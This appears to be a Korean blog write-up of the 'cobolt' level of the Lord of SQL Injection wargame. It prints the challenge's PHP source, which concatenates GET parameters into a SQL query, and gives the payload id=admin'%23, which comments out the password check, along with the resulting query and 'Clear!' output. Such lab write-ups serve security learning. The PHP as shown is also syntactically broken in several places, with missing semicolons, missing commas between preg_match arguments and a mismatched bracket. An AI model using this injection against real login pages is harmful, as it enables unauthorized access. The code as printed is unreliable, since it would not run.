LOS Rubiya cobolt

2019. 8. 5. 21:20Wargame & CTF/LOS Rubiya

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  highlight_file(__FILE__); 
?>
cs


id에 admin' 을 넣고 한줄 주석을 넣어보자.

select id from prob_cobolt where id='admin'#' and pw=md5('')

# 뒤로는 무시되므로 id가 admin인 것이 나오게 된다.


http://URL.php?id=admin'%23


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
query : select id from prob_cobolt where id='admin'#' and pw=md5('')
 
COBOLT Clear!
 
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  highlight_file(__FILE__); 
?>
cs


'Wargame & CTF > LOS Rubiya' 카테고리의 다른 글

LOS Rubiya darkelf  (0) 2019.08.05
LOS Rubiya wolfman  (0) 2019.08.05
LOS Rubiya orc  (0) 2019.08.05
LOS Rubiya goblin  (0) 2019.08.05
LOS Rubiya gremlin  (0) 2019.08.05